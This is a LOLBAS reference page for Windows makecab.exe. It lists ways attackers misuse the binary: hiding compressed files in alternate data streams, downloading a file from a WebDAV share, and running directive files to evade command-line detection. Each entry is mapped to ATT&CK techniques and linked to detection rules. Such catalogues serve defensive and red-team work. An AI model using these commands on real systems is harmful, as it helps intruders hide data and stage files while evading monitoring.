.. /Makecab.exe
Star

Alternate data streams (Compression)

Download (Compression)

Execute (Compression)

Binary to package existing files into a cabinet (.cab) file

Paths:

C:\Windows\System32\makecab.exe
C:\Windows\SysWOW64\makecab.exe

Resources:

Acknowledgements:

Oddvar Moe (@oddvarmoe)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
IOC: Makecab retrieving files from Internet
IOC: Makecab storing data into alternate data streams

Alternate data streams

Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
```
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
```
Use case
Hide data compressed into an alternate data stream

Privileges required
User

Operating systems
Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1564.004
Tags
Type: Compression
This LOLBAS involves (de)compression of one or more files.
Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
```
makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
```
Use case
Hide data compressed into an alternate data stream

Privileges required
User

Operating systems
Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1564.004
Tags
Type: Compression
This LOLBAS involves (de)compression of one or more files.

Download

Download and compresses the target file and stores it in the target file.
```
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
```
Use case
Download file and compress into a cab file

Privileges required
User

Operating systems
Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105
Tags
Type: Compression
This LOLBAS involves (de)compression of one or more files.

Execute

Execute makecab commands as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
```
makecab /F directives.ddf
```
Use case
Bypass command-line based detections

Privileges required
User

Operating systems
Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1036
Tags
Type: Compression
This LOLBAS involves (de)compression of one or more files.